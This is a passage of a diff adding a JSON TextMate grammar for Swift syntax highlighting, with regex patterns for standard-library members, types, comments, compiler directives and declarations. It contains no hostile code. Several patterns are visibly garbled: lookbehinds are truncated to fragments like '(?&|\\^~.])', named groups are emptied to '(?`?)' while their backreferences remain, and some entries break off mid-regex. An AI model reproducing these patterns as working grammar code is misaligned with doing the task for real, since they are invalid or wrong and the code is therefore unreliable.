"(?<=\\.)(?:s(?:ort(?:ed)?|plit)|contains|index|partition|f(?:i(?:lter|rst)|orEach|latMap)|with(?:MutableCharacters|CString|U(?:nsafe(?:Mutable(?:BufferPointer|Pointer(?:s|To(?:Header|Elements)))|BufferPointer)|TF8Buffer))|m(?:in|a(?:p|x)))(?=\\s*[({])\\b" + }, + { + "comment": "Member functions in the standard library in Swift 3", + "name": "support.function.swift", + "match": "(?<=\\.)(?:s(?:ymmetricDifference|t(?:oreBytes|arts|ride)|ortInPlace|u(?:ccessor|ffix|btract(?:ing|InPlace|WithOverflow)?)|quareRoot|amePosition)|h(?:oldsUnique(?:Reference|OrPinnedReference)|as(?:Suffix|Prefix))|ne(?:gate(?:d)?|xt)|c(?:o(?:untByEnumerating|py(?:Bytes)?)|lamp(?:ed)?|reate)|t(?:o(?:IntMax|Opaque|UIntMax)|ake(?:RetainedValue|UnretainedValue)|r(?:uncatingRemainder|a(?:nscodedLength|ilSurrogate)))|i(?:s(?:MutableAndUniquelyReferenced(?:OrPinned)?|S(?:trictSu(?:perset(?:Of)?|bset(?:Of)?)|u(?:perset(?:Of)?|bset(?:Of)?))|Continuation|T(?:otallyOrdered|railSurrogate)|Disjoint(?:With)?|Unique(?:Reference|lyReferenced(?:OrPinned)?)|Equal|Le(?:ss(?:ThanOrEqualTo)?|adSurrogate))|n(?:sert(?:ContentsOf)?|tersect(?:ion|InPlace)?|itialize(?:Memory|From)?|dex(?:Of|ForKey)))|o(?:verlaps|bjectAt)|d(?:i(?:stance(?:To)?|vide(?:d|WithOverflow)?)|e(?:s(?:cendant|troy)|code(?:CString)?|initialize|alloc(?:ate(?:Capacity)?)?)|rop(?:First|Last))|u(?:n(?:ion(?:InPlace)?|derestimateCount|wrappedOrError)|p(?:date(?:Value)?|percased))|join(?:ed|WithSeparator)|p(?:op(?:First|Last)|ass(?:Retained|Unretained)|re(?:decessor|fix))|e(?:scape(?:d)?|n(?:code|umerate(?:d)?)|lementsEqual|xclusiveOr(?:InPlace)?)|f(?:orm(?:Remainder|S(?:ymmetricDifference|quareRoot)|TruncatingRemainder|In(?:tersection|dex)|Union)|latten|rom(?:CString(?:RepairingIllFormedUTF8)?|Opaque))|w(?:i(?:thMemoryRebound|dth)|rite(?:To)?)|l(?:o(?:wercased|ad)|e(?:adSurrogate|xicographical(?:Compare|lyPrecedes)))|a(?:ss(?:ign(?:BackwardFrom|From)?|umingMemoryBound)|d(?:d(?:ing(?:Product)?|Product|WithOverflow)?|vanced(?:By)?)|utorelease|ppend(?:ContentsOf)?|lloc(?:ate)?|bs)|r(?:ound(?:ed)?|e(?:serveCapacity|tain|duce|place(?:Range|Subrange)?|verse(?:d)?|quest(?:NativeBuffer|UniqueMutableBackingBuffer)|lease|m(?:ove(?:Range|Subrange|Value(?:ForKey)?|First|Last|A(?:tIndex|ll))?|ainder(?:WithOverflow)?)))|ge(?:nerate|t(?:Objects|Element))|m(?:in(?:imum(?:Magnitude)?|Element)|ove(?:Initialize(?:Memory|BackwardFrom|From)?|Assign(?:From)?)?|ultipl(?:y(?:WithOverflow)?|ied)|easure|a(?:ke(?:Iterator|Description)|x(?:imum(?:Magnitude)?|Element)))|bindMemory)(?=\\s*\\()" + }, + { + "comment": "Member functions in the standard library in Swift 2 only", + "name": "support.function.swift", + "match": "(?<=\\.)(?:s(?:uperclassMirror|amePositionIn|tartsWith)|nextObject|c(?:haracterAtIndex|o(?:untByEnumeratingWithState|pyWithZone)|ustom(?:Mirror|PlaygroundQuickLook))|is(?:EmptyInput|ASCII)|object(?:Enumerator|ForKey|AtIndex)|join|put|keyEnumerator|withUnsafeMutablePointerToValue|length|getMirror|m(?:oveInitializeAssignFrom|ember))(?=\\s*\\()" + } + ] + }, + "builtin-global-functions": { + "patterns": [ + { + "begin": "\\b(type)(\\()\\s*(of)(:)", + "end": "\\)", + "beginCaptures": { + "1": { + "name": "support.function.dynamic-type.swift" + }, + "2": { + "name": "punctuation.definition.arguments.begin.swift" + }, + "3": { + "name": "support.variable.parameter.swift" + }, + "4": { + "name": "punctuation.separator.argument-label.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.arguments.end.swift" + } + }, + "patterns": [ + { + "include": "#expressions" + } + ] + }, + { + "comment": "Global functions available in Swift 3 which may be used with trailing closures and no parentheses", + "name": "support.function.swift", + "match": "\\b(?:anyGenerator|autoreleasepool)(?=\\s*[({])\\b" + }, + { + "comment": "Global functions available in Swift 3", + "name": "support.function.swift", + "match": "\\b(?:s(?:tride(?:of(?:Value)?)?|izeof(?:Value)?|equence|wap)|numericCast|transcode|is(?:UniquelyReferenced(?:NonObjC)?|KnownUniquelyReferenced)|zip|d(?:ump|ebugPrint)|unsafe(?:BitCast|Downcast|Unwrap|Address(?:Of)?)|pr(?:int|econdition(?:Failure)?)|fatalError|with(?:Unsafe(?:MutablePointer|Pointer)|ExtendedLifetime|VaList)|a(?:ssert(?:ionFailure)?|lignof(?:Value)?|bs)|re(?:peatElement|adLine)|getVaList|m(?:in|ax))(?=\\s*\\()" + }, + { + "comment": "Global functions available in Swift 2 only", + "name": "support.function.swift", + "match": "\\b(?:s(?:ort|uffix|pli(?:ce|t))|insert|overlaps|d(?:istance|rop(?:First|Last))|join|prefix|extend|withUnsafe(?:MutablePointers|Pointers)|lazy|advance|re(?:flect|move(?:Range|Last|A(?:tIndex|ll))))(?=\\s*\\()" + } + ] + }, + "builtin-properties": { + "patterns": [ + { + "comment": "The simpler (?<=\\bProcess\\.|\\bCommandLine\\.) breaks VS Code / Atom, see https://github.com/textmate/swift.tmbundle/issues/29", + "name": "support.variable.swift", + "match": "(?<=^Process\\.|\\WProcess\\.|^CommandLine\\.|\\WCommandLine\\.)(arguments|argc|unsafeArgv)" + }, + { + "comment": "Properties in the standard library in Swift 3", + "name": "support.variable.swift", + "match": "(?<=\\.)(?:s(?:t(?:artIndex|ri(?:ngValue|de))|i(?:ze|gn(?:BitIndex|ificand(?:Bit(?:Count|Pattern)|Width)?|alingNaN)?)|u(?:perclassMirror|mmary|bscriptBaseAddress))|h(?:eader|as(?:hValue|PointerRepresentation))|n(?:ulTerminatedUTF8|ext(?:Down|Up)|a(?:n|tiveOwner))|c(?:haracters|ount(?:TrailingZeros)?|ustom(?:Mirror|PlaygroundQuickLook)|apacity)|i(?:s(?:S(?:ign(?:Minus|aling(?:NaN)?)|ubnormal)|N(?:ormal|aN)|Canonical|Infinite|Zero|Empty|Finite|ASCII)|n(?:dices|finity)|dentity)|owner|de(?:scription|bugDescription)|u(?:n(?:safelyUnwrapped|icodeScalar(?:s)?|derestimatedCount)|tf(?:16|8(?:Start|C(?:String|odeUnitCount))?)|intValue|ppercaseString|lp(?:OfOne)?)|p(?:i|ointee)|e(?:ndIndex|lements|xponent(?:Bit(?:Count|Pattern))?)|value(?:s)?|keys|quietNaN|f(?:irst(?:ElementAddress(?:IfContiguous)?)?|loatingPointClass)|l(?:ittleEndian|owercaseString|eastNo(?:nzeroMagnitude|rmalMagnitude)|a(?:st|zy))|a(?:l(?:ignment|l(?:ocatedElementCount|Zeros))|rray(?:PropertyIsNativeTypeChecked)?)|ra(?:dix|wValue)|greatestFiniteMagnitude|m(?:in|emory|ax)|b(?:yteS(?:ize|wapped)|i(?:nade|tPattern|gEndian)|uffer|ase(?:Address)?))\\b" + }, + { + "comment": "Properties in the standard library in Swift 2 only", + "name": "support.variable.swift", + "match": "(?<=\\.)(?:boolValue|disposition|end|objectIdentifier|quickLookObject|start|valueType)\\b" + }, + { + "comment": "Enum cases in the standard library - note that there is some overlap between these and the properties", + "name": "support.variable.swift", + "match": "(?<=\\.)(?:s(?:calarValue|i(?:ze|gnalingNaN)|o(?:und|me)|uppressed|prite|et)|n(?:one|egative(?:Subnormal|Normal|Infinity|Zero))|c(?:ol(?:or|lection)|ustomized)|t(?:o(?:NearestOr(?:Even|AwayFromZero)|wardZero)|uple|ext)|i(?:nt|mage)|optional|d(?:ictionary|o(?:uble|wn))|u(?:Int|p|rl)|p(?:o(?:sitive(?:Subnormal|Normal|Infinity|Zero)|int)|lus)|e(?:rror|mptyInput)|view|quietNaN|float|a(?:ttributedString|wayFromZero)|r(?:ectangle|ange)|generated|minus|b(?:ool|ezierPath))\\b" + } + ] + }, + "builtin-types": { + "comment": "Types provided in the standard library", + "patterns": [ + { + "include": "#builtin-types-builtin-class-type" + }, + { + "include": "#builtin-types-builtin-enum-type" + }, + { + "include": "#builtin-types-builtin-protocol-type" + }, + { + "include": "#builtin-types-builtin-struct-type" + }, + { + "include": "#builtin-types-builtin-typealias" + }, + { + "name": "support.type.any.swift", + "match": "\\bAny\\b" + } + ] + }, + "builtin-types-builtin-class-type": { + "comment": "Builtin class types", + "name": "support.class.swift", + "match": "\\b(Managed(Buffer|ProtoBuffer)|NonObjectiveCBase|AnyGenerator)\\b" + }, + "builtin-types-builtin-enum-type": { + "patterns": [ + { + "comment": "CommandLine is an enum, but it acts like a constant", + "name": "support.constant.swift", + "match": "\\b(?:CommandLine|Process(?=\\.))\\b" + }, + { + "comment": "The return type of a function that never returns", + "name": "support.constant.never.swift", + "match": "\\bNever\\b" + }, + { + "comment": "Enum types in the standard library in Swift 3", + "name": "support.type.swift", + "match": "\\b(?:ImplicitlyUnwrappedOptional|Representation|MemoryLayout|FloatingPointClassification|SetIndexRepresentation|SetIteratorRepresentation|FloatingPointRoundingRule|UnicodeDecodingResult|Optional|DictionaryIndexRepresentation|AncestorRepresentation|DisplayStyle|PlaygroundQuickLook|Never|FloatingPointSign|Bit|DictionaryIteratorRepresentation)\\b" + }, + { + "comment": "Enum types in the standard library in Swift 2 only", + "name": "support.type.swift", + "match": "\\b(?:MirrorDisposition|QuickLookObject)\\b" + } + ] + }, + "builtin-types-builtin-protocol-type": { + "patterns": [ + { + "comment": "Protocols in the standard library in Swift 3", + "name": "support.type.swift", + "match": "\\b(?:Ra(?:n(?:domAccess(?:Collection|Indexable)|geReplaceable(?:Collection|Indexable))|wRepresentable)|M(?:irrorPath|utable(?:Collection|Indexable))|Bi(?:naryFloatingPoint|twiseOperations|directional(?:Collection|Indexable))|S(?:tr(?:ideable|eamable)|igned(?:Number|Integer)|e(?:tAlgebra|quence))|Hashable|C(?:o(?:llection|mparable)|ustom(?:Reflectable|StringConvertible|DebugStringConvertible|PlaygroundQuickLookable|LeafReflectable)|VarArg)|TextOutputStream|I(?:n(?:teger(?:Arithmetic)?|dexable(?:Base)?)|teratorProtocol)|OptionSet|Un(?:signedInteger|icodeCodec)|E(?:quatable|rror|xpressibleBy(?:BooleanLiteral|String(?:Interpolation|Literal)|NilLiteral|IntegerLiteral|DictionaryLiteral|UnicodeScalarLiteral|ExtendedGraphemeClusterLiteral|FloatLiteral|ArrayLiteral))|FloatingPoint|L(?:osslessStringConvertible|azy(?:SequenceProtocol|CollectionProtocol))|A(?:nyObject|bsoluteValuable))\\b" + }, + { + "comment": "Protocols in the standard library in Swift 2 only", + "name": "support.type.swift", + "match": "\\b(?:Ran(?:domAccessIndexType|geReplaceableCollectionType)|GeneratorType|M(?:irror(?:Type|PathType)|utable(?:Sliceable|CollectionType))|B(?:i(?:twiseOperationsType|directionalIndexType)|oolean(?:Type|LiteralConvertible))|S(?:tring(?:InterpolationConvertible|LiteralConvertible)|i(?:nkType|gned(?:NumberType|IntegerType))|e(?:tAlgebraType|quenceType)|liceable)|NilLiteralConvertible|C(?:ollectionType|VarArgType)|Inte(?:rvalType|ger(?:Type|LiteralConvertible|ArithmeticType))|O(?:utputStreamType|ptionSetType)|DictionaryLiteralConvertible|Un(?:signedIntegerType|icode(?:ScalarLiteralConvertible|CodecType))|E(?:rrorType|xten(?:sibleCollectionType|dedGraphemeClusterLiteralConvertible))|F(?:orwardIndexType|loat(?:ingPointType|LiteralConvertible))|A(?:nyCollectionType|rrayLiteralConvertible))\\b" + } + ] + }, + "builtin-types-builtin-struct-type": { + "patterns": [ + { + "comment": "Structs in the standard library in Swift 3", + "name": "support.type.swift", + "match": "\\b(?:R(?:e(?:peat(?:ed)?|versed(?:RandomAccess(?:Collection|Index)|Collection|Index))|an(?:domAccessSlice|ge(?:Replaceable(?:RandomAccessSlice|BidirectionalSlice|Slice)|Generator)?))|Generator(?:Sequence|OfOne)|M(?:irror|utable(?:Ran(?:domAccessSlice|geReplaceable(?:RandomAccessSlice|BidirectionalSlice|Slice))|BidirectionalSlice|Slice)|anagedBufferPointer)|B(?:idirectionalSlice|ool)|S(?:t(?:aticString|ri(?:ng|deT(?:hrough(?:Generator|Iterator)?|o(?:Generator|Iterator)?)))|et(?:I(?:ndex|terator))?|lice)|HalfOpenInterval|C(?:haracter(?:View)?|o(?:ntiguousArray|untable(?:Range|ClosedRange)|llectionOfOne)|OpaquePointer|losed(?:Range(?:I(?:ndex|terator))?|Interval)|VaListPointer)|I(?:n(?:t(?:16|8|32|64)?|d(?:ices|ex(?:ing(?:Generator|Iterator))?))|terator(?:Sequence|OverOne)?)|Zip2(?:Sequence|Iterator)|O(?:paquePointer|bjectIdentifier)|D(?:ictionary(?:I(?:ndex|terator)|Literal)?|ouble|efault(?:RandomAccessIndices|BidirectionalIndices|Indices))|U(?:n(?:safe(?:RawPointer|Mutable(?:RawPointer|BufferPointer|Pointer)|BufferPointer(?:Generator|Iterator)?|Pointer)|icodeScalar(?:View)?|foldSequence|managed)|TF(?:16(?:View)?|8(?:View)?|32)|Int(?:16|8|32|64)?)|Join(?:Generator|ed(?:Sequence|Iterator))|PermutationGenerator|E(?:numerate(?:Generator|Sequence|d(?:Sequence|Iterator))|mpty(?:Generator|Collection|Iterator))|Fl(?:oat(?:80)?|atten(?:Generator|BidirectionalCollection(?:Index)?|Sequence|Collection(?:Index)?|Iterator))|L(?:egacyChildren|azy(?:RandomAccessCollection|Map(?:RandomAccessCollection|Generator|BidirectionalCollection|Sequence|Collection|Iterator)|BidirectionalCollection|Sequence|Collection|Filter(?:Generator|BidirectionalCollection|Sequence|Collection|I(?:ndex|terator))))|A(?:ny(?:RandomAccessCollection|Generator|BidirectionalCollection|Sequence|Hashable|Collection|I(?:ndex|terator))|utoreleasingUnsafeMutablePointer|rray(?:Slice)?))\\b" + }, + { + "comment": "Structs in the standard library in Swift 2 only", + "name": "support.type.swift", + "match": "\\b(?:R(?:everse(?:RandomAccess(?:Collection|Index)|Collection|Index)|awByte)|Map(?:Generator|Sequence|Collection)|S(?:inkOf|etGenerator)|Zip2Generator|DictionaryGenerator|Filter(?:Generator|Sequence|Collection(?:Index)?)|LazyForwardCollection|Any(?:RandomAccessIndex|BidirectionalIndex|Forward(?:Collection|Index)))\\b" + } + ] + }, + "builtin-types-builtin-typealias": { + "patterns": [ + { + "comment": "Typealiases in the standard library in Swift 3", + "name": "support.type.swift", + "match": "\\b(?:Raw(?:Significand|Exponent|Value)|B(?:ooleanLiteralType|uffer|ase)|S(?:t(?:orage|r(?:i(?:ngLiteralType|de)|eam(?:1|2)))|ubSequence)|NativeBuffer|C(?:hild(?:ren)?|Bool|S(?:hort|ignedChar)|odeUnit|Char(?:16|32)?|Int|Double|Unsigned(?:Short|Char|Int|Long(?:Long)?)|Float|WideChar|Long(?:Long)?)|I(?:n(?:t(?:Max|egerLiteralType)|d(?:ices|ex(?:Distance)?))|terator)|Distance|U(?:n(?:icodeScalar(?:Type|Index|View|LiteralType)|foldFirstSequence)|TF(?:16(?:Index|View)|8Index)|IntMax)|E(?:lement(?:s)?|x(?:tendedGraphemeCluster(?:Type|LiteralType)|ponent))|V(?:oid|alue)|Key|Float(?:32|LiteralType|64)|AnyClass)\\b" + }, + { + "comment": "Typealiases in the standard library in Swift 2 only", + "name": "support.type.swift", + "match": "\\b(?:Generator|PlaygroundQuickLook|UWord|Word)\\b" + } + ] + }, + "code-block": { + "begin": "\\{", + "end": "\\}", + "beginCaptures": { + "0": { + "name": "punctuation.section.scope.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.section.scope.end.swift" + } + }, + "patterns": [ + { + "include": "$self" + } + ] + }, + "comments": { + "patterns": [ + { + "name": "comment.line.number-sign.swift", + "match": "\\A^(#!).*$\\n?", + "captures": { + "1": { + "name": "punctuation.definition.comment.swift" + } + } + }, + { + "name": "comment.block.documentation.swift", + "begin": "/\\*\\*(?!/)", + "end": "\\*/", + "beginCaptures": { + "0": { + "name": "punctuation.definition.comment.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.comment.end.swift" + } + }, + "patterns": [ + { + "include": "#comments-nested" + } + ] + }, + { + "name": "comment.block.documentation.playground.swift", + "begin": "/\\*:", + "end": "\\*/", + "beginCaptures": { + "0": { + "name": "punctuation.definition.comment.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.comment.end.swift" + } + }, + "patterns": [ + { + "include": "#comments-nested" + } + ] + }, + { + "name": "comment.block.swift", + "begin": "/\\*", + "end": "\\*/", + "beginCaptures": { + "0": { + "name": "punctuation.definition.comment.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.comment.end.swift" + } + }, + "patterns": [ + { + "include": "#comments-nested" + } + ] + }, + { + "name": "invalid.illegal.unexpected-end-of-block-comment.swift", + "match": "\\*/" + }, + { + "begin": "(^[ \\t]+)?(?=//)", + "end": "(?!\\G)", + "beginCaptures": { + "1": { + "name": "punctuation.whitespace.comment.leading.swift" + } + }, + "patterns": [ + { + "name": "comment.line.triple-slash.documentation.swift", + "begin": "///", + "end": "$", + "beginCaptures": { + "0": { + "name": "punctuation.definition.comment.swift" + } + } + }, + { + "name": "comment.line.double-slash.documentation.swift", + "begin": "//:", + "end": "$", + "beginCaptures": { + "0": { + "name": "punctuation.definition.comment.swift" + } + } + }, + { + "name": "comment.line.double-slash.swift", + "begin": "//", + "end": "$", + "beginCaptures": { + "0": { + "name": "punctuation.definition.comment.swift" + } + } + } + ] + } + ] + }, + "comments-nested": { + "begin": "/\\*", + "end": "\\*/", + "patterns": [ + { + "include": "#comments-nested" + } + ] + }, + "compiler-control": { + "patterns": [ + { + "contentName": "comment.block.preprocessor.swift", + "begin": "^\\s*(#)(if|elseif)\\s+(false)\\b.*?(?=$|//|/\\*)", + "end": "(?=^\\s*(#(elseif|else|endif)\\b))", + "beginCaptures": { + "0": { + "name": "meta.preprocessor.conditional.swift" + }, + "1": { + "name": "punctuation.definition.preprocessor.swift" + }, + "2": { + "name": "keyword.control.import.preprocessor.conditional.swift" + }, + "3": { + "name": "constant.language.boolean.swift" + } + } + }, + { + "name": "meta.preprocessor.conditional.swift", + "captures": { + "1": { + "name": "punctuation.definition.preprocessor.swift" + }, + "2": { + "name": "keyword.control.import.preprocessor.conditional.swift" + } + }, + "begin": "^\\s*(#)(if|elseif)\\s+", + "end": "(?=\\s*(?://|/\\*))|$", + "patterns": [ + { + "name": "keyword.operator.logical.swift", + "match": "(&&|\\|\\|)" + }, + { + "name": "constant.language.boolean.swift", + "match": "\\b(true|false)\\b" + }, + { + "match": "\\b(arch)\\s*(\\()\\s*(?:(arm|arm64|powerpc64|powerpc64le|i386|x86_64|s390x)|\\w+)\\s*(\\))", + "captures": { + "1": { + "name": "keyword.other.condition.swift" + }, + "2": { + "name": "punctuation.definition.parameters.begin.swift" + }, + "3": { + "name": "support.constant.platform.architecture.swift" + }, + "4": { + "name": "punctuation.definition.parameters.end.swift" + } + } + }, + { + "match": "\\b(os)\\s*(\\()\\s*(?:(macOS|OSX|iOS|tvOS|watchOS|visionOS|Android|Linux|FreeBSD|Windows|PS4)|\\w+)\\s*(\\))", + "captures": { + "1": { + "name": "keyword.other.condition.swift" + }, + "2": { + "name": "punctuation.definition.parameters.begin.swift" + }, + "3": { + "name": "support.constant.platform.os.swift" + }, + "4": { + "name": "punctuation.definition.parameters.end.swift" + } + } + }, + { + "match": "\\b(canImport)\\s*(\\()([\\p{L}_][\\p{L}_\\p{N}\\p{M}]*)(\\))", + "captures": { + "1": { + "name": "keyword.other.condition.swift" + }, + "2": { + "name": "punctuation.definition.parameters.begin.swift" + }, + "3": { + "name": "entity.name.type.module.swift" + }, + "4": { + "name": "punctuation.definition.parameters.end.swift" + } + } + }, + { + "begin": "\\b(targetEnvironment)\\s*(\\()", + "end": "(\\))|$", + "beginCaptures": { + "1": { + "name": "keyword.other.condition.swift" + }, + "2": { + "name": "punctuation.definition.parameters.begin.swift" + } + }, + "endCaptures": { + "1": { + "name": "punctuation.definition.parameters.end.swift" + } + }, + "patterns": [ + { + "name": "support.constant.platform.environment.swift", + "match": "\\b(simulator|UIKitForMac)\\b" + } + ] + }, + { + "begin": "\\b(swift|compiler)\\s*(\\()", + "end": "(\\))|$", + "beginCaptures": { + "1": { + "name": "keyword.other.condition.swift" + }, + "2": { + "name": "punctuation.definition.parameters.begin.swift" + } + }, + "endCaptures": { + "1": { + "name": "punctuation.definition.parameters.end.swift" + } + }, + "patterns": [ + { + "name": "keyword.operator.comparison.swift", + "match": ">=|<" + }, + { + "name": "constant.numeric.swift", + "match": "\\b[0-9]+(?:\\.[0-9]+)*\\b" + } + ] + } + ] + }, + { + "name": "meta.preprocessor.conditional.swift", + "match": "^\\s*(#)(else|endif)(.*?)(?=$|//|/\\*)", + "captures": { + "1": { + "name": "punctuation.definition.preprocessor.swift" + }, + "2": { + "name": "keyword.control.import.preprocessor.conditional.swift" + }, + "3": { + "patterns": [ + { + "name": "invalid.illegal.character-not-allowed-here.swift", + "match": "\\S+" + } + ] + } + } + }, + { + "name": "meta.preprocessor.sourcelocation.swift", + "match": "^\\s*(#)(sourceLocation)((\\()([^)]*)(\\)))(.*?)(?=$|//|/\\*)", + "captures": { + "1": { + "name": "punctuation.definition.preprocessor.swift" + }, + "2": { + "name": "keyword.control.import.preprocessor.sourcelocation.swift" + }, + "4": { + "name": "punctuation.definition.parameters.begin.swift" + }, + "5": { + "patterns": [ + { + "begin": "(file)\\s*(:)\\s*(?=\")", + "end": "(?!\\G)", + "beginCaptures": { + "1": { + "name": "support.variable.parameter.swift" + }, + "2": { + "name": "punctuation.separator.key-value.swift" + } + }, + "patterns": [ + { + "include": "#literals" + } + ] + }, + { + "match": "(line)\\s*(:)\\s*([0-9]+)", + "captures": { + "1": { + "name": "support.variable.parameter.swift" + }, + "2": { + "name": "punctuation.separator.key-value.swift" + }, + "3": { + "name": "constant.numeric.integer.swift" + } + } + }, + { + "name": "punctuation.separator.parameters.swift", + "match": "," + }, + { + "name": "invalid.illegal.character-not-allowed-here.swift", + "match": "\\S+" + } + ] + }, + "6": { + "name": "punctuation.definition.parameters.begin.swift" + }, + "7": { + "patterns": [ + { + "name": "invalid.illegal.character-not-allowed-here.swift", + "match": "\\S+" + } + ] + } + } + } + ] + }, + "conditionals": { + "patterns": [ + { + "begin": "(?&|\\^~.])(->)(?![/=\\-+!*%<>&|\\^~.])", + "captures": { + "1": { + "name": "keyword.operator.type.function.swift" + } + } + }, + { + "comment": "Swift 3: A & B", + "match": "(?&|\\^~.])(&)(?![/=\\-+!*%<>&|\\^~.])", + "captures": { + "1": { + "name": "keyword.operator.type.composition.swift" + } + } + }, + { + "name": "keyword.operator.type.optional.swift", + "match": "[?!]" + }, + { + "name": "keyword.operator.function.variadic-parameter.swift", + "match": "\\.\\.\\." + }, + { + "comment": "Swift 2: protocol", + "name": "keyword.other.type.composition.swift", + "match": "\\bprotocol\\b" + }, + { + "name": "keyword.other.type.metatype.swift", + "match": "(?<=\\.)(?:Protocol|Type)\\b" + }, + { + "include": "#declarations-available-types-tuple-type" + }, + { + "include": "#declarations-available-types-collection-type" + }, + { + "include": "#declarations-generic-argument-clause" + } + ] + }, + "declarations-available-types-collection-type": { + "comment": "array and dictionary types [Value] and [Key: Value]", + "begin": "\\[", + "end": "\\]|(?=[>){}])", + "beginCaptures": { + "0": { + "name": "punctuation.section.collection-type.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.section.collection-type.end.swift" + } + }, + "patterns": [ + { + "include": "#declarations-available-types" + }, + { + "begin": ":", + "end": "(?=\\]|[>){}])", + "beginCaptures": { + "0": { + "name": "punctuation.separator.key-value.swift" + } + }, + "patterns": [ + { + "name": "invalid.illegal.extra-colon-in-dictionary-type.swift", + "match": ":" + }, + { + "include": "#declarations-available-types" + } + ] + } + ] + }, + "declarations-available-types-tuple-type": { + "begin": "\\(", + "end": "\\)|(?=[>\\]{}])", + "beginCaptures": { + "0": { + "name": "punctuation.section.tuple-type.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.section.tuple-type.end.swift" + } + }, + "patterns": [ + { + "include": "#declarations-available-types" + } + ] + }, + "declarations-extension": { + "name": "meta.definition.type.$1.swift", + "begin": "\\b(extension)\\s+((?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k))", + "end": "(?<=\\})", + "beginCaptures": { + "1": { + "name": "storage.type.$1.swift" + }, + "2": { + "name": "entity.name.type.swift", + "patterns": [ + { + "include": "#declarations-available-types" + } + ] + }, + "3": { + "name": "punctuation.definition.identifier.swift" + }, + "4": { + "name": "punctuation.definition.identifier.swift" + } + }, + "patterns": [ + { + "include": "#comments" + }, + { + "comment": "SE-0143: Conditional Conformances", + "include": "#declarations-generic-where-clause" + }, + { + "include": "#declarations-inheritance-clause" + }, + { + "name": "meta.definition.type.body.swift", + "begin": "\\{", + "end": "\\}", + "beginCaptures": { + "0": { + "name": "punctuation.definition.type.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.type.end.swift" + } + }, + "patterns": [ + { + "include": "$self" + } + ] + } + ] + }, + "declarations-function": { + "name": "meta.definition.function.swift", + "begin": "(?x)\n\\b\n(func)\n\\s+\n(\n (?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k)\n | (?:\n (\n (? # operator-head\n [/=\\-+!*%<>&|^~?]\n | [\\x{00A1}-\\x{00A7}]\n | [\\x{00A9}\\x{00AB}]\n | [\\x{00AC}\\x{00AE}]\n | [\\x{00B0}-\\x{00B1}\\x{00B6}\\x{00BB}\\x{00BF}\\x{00D7}\\x{00F7}]\n | [\\x{2016}-\\x{2017}\\x{2020}-\\x{2027}]\n | [\\x{2030}-\\x{203E}]\n | [\\x{2041}-\\x{2053}]\n | [\\x{2055}-\\x{205E}]\n | [\\x{2190}-\\x{23FF}]\n | [\\x{2500}-\\x{2775}]\n | [\\x{2794}-\\x{2BFF}]\n | [\\x{2E00}-\\x{2E7F}]\n | [\\x{3001}-\\x{3003}]\n | [\\x{3008}-\\x{3030}]\n )\n (\n \\g\n | (? # operator-character\n [\\x{0300}-\\x{036F}]\n | [\\x{1DC0}-\\x{1DFF}]\n | [\\x{20D0}-\\x{20FF}]\n | [\\x{FE00}-\\x{FE0F}]\n | [\\x{FE20}-\\x{FE2F}]\n | [\\x{E0100}-\\x{E01EF}]\n )\n )*\n )\n | ( \\. ( \\g | \\g | \\. )+ ) # Dot operators\n )\n)\n\\s*\n(?=\\(|<)", + "end": "(?<=\\})|$(?# functions in protocol declarations or generated interfaces have no body)", + "beginCaptures": { + "1": { + "name": "storage.type.function.swift" + }, + "2": { + "name": "entity.name.function.swift" + }, + "3": { + "name": "punctuation.definition.identifier.swift" + }, + "4": { + "name": "punctuation.definition.identifier.swift" + } + }, + "patterns": [ + { + "include": "#comments" + }, + { + "include": "#declarations-generic-parameter-clause" + }, + { + "include": "#declarations-parameter-clause" + }, + { + "include": "#declarations-function-result" + }, + { + "include": "#async-throws" + }, + { + "comment": "Swift 3: generic constraints after the parameters and return type", + "include": "#declarations-generic-where-clause" + }, + { + "name": "meta.definition.function.body.swift", + "begin": "(\\{)", + "end": "(\\})", + "beginCaptures": { + "1": { + "name": "punctuation.section.function.begin.swift" + } + }, + "endCaptures": { + "1": { + "name": "punctuation.section.function.end.swift" + } + }, + "patterns": [ + { + "include": "$self" + } + ] + } + ] + }, + "declarations-function-initializer": { + "name": "meta.definition.function.initializer.swift", + "begin": "(?&|\\^~.])(->)(?![/=\\-+!*%<>&|\\^~.])\\s*", + "end": "(?!\\G)(?=\\{|\\bwhere\\b|;|=)|$", + "beginCaptures": { + "1": { + "name": "keyword.operator.function-result.swift" + } + }, + "patterns": [ + { + "include": "#declarations-available-types" + } + ] + }, + "declarations-function-subscript": { + "name": "meta.definition.function.subscript.swift", + "begin": "(?|(?=[)\\]{}])", + "beginCaptures": { + "0": { + "name": "punctuation.separator.generic-argument-clause.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.separator.generic-argument-clause.end.swift" + } + }, + "patterns": [ + { + "include": "#declarations-available-types" + } + ] + }, + "declarations-generic-parameter-clause": { + "name": "meta.generic-parameter-clause.swift", + "begin": "<", + "end": ">|(?=[^\\w\\d:<>\\s,=&`])(?# characters besides these are never valid in a generic param list -- even if it's not really a valid clause, we should stop trying to parse it if we see one of them.)", + "beginCaptures": { + "0": { + "name": "punctuation.separator.generic-parameter-clause.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.separator.generic-parameter-clause.end.swift" + } + }, + "patterns": [ + { + "include": "#comments" + }, + { + "comment": "Swift 2: constraints inside the generic param list", + "include": "#declarations-generic-where-clause" + }, + { + "name": "keyword.control.loop.swift", + "match": "\\beach\\b" + }, + { + "match": "\\b((?!\\d)\\w[\\w\\d]*)\\b", + "captures": { + "1": { + "name": "variable.language.generic-parameter.swift" + } + } + }, + { + "name": "punctuation.separator.generic-parameters.swift", + "match": "," + }, + { + "name": "meta.generic-parameter-constraint.swift", + "begin": "(:)\\s*", + "end": "(?=[,>]|(?!\\G)\\bwhere\\b)", + "beginCaptures": { + "1": { + "name": "punctuation.separator.generic-parameter-constraint.swift" + } + }, + "patterns": [ + { + "name": "entity.other.inherited-class.swift", + "begin": "\\G", + "end": 